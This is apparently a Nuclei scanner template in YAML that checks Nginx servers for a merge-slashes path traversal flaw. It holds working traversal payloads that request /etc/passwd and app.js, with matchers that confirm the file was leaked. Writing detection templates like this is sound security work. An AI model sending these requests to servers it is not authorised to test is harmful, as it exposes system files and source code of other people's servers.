33 lines
870 B
YAML
33 lines
870 B
YAML
id: nginx-merge-slashes-path-traversal
|
|
|
|
info:
|
|
name: Nginx Merge Slashes Path Traversal
|
|
author: dhiyaneshDk
|
|
severity: medium
|
|
reference:
|
|
- https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/nginx-merge-slashes-path-traversal.json
|
|
- https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d
|
|
tags: exposure,config,lfi,nginx
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}///////../../../etc/passwd"
|
|
- "{{BaseURL}}/static///////../../../../etc/passwd"
|
|
- "{{BaseURL}}///../app.js"
|
|
|
|
stop-at-first-match: true
|
|
matchers-condition: and
|
|
matchers:
|
|
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
- "app.listen"
|
|
part: body
|
|
condition: or
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|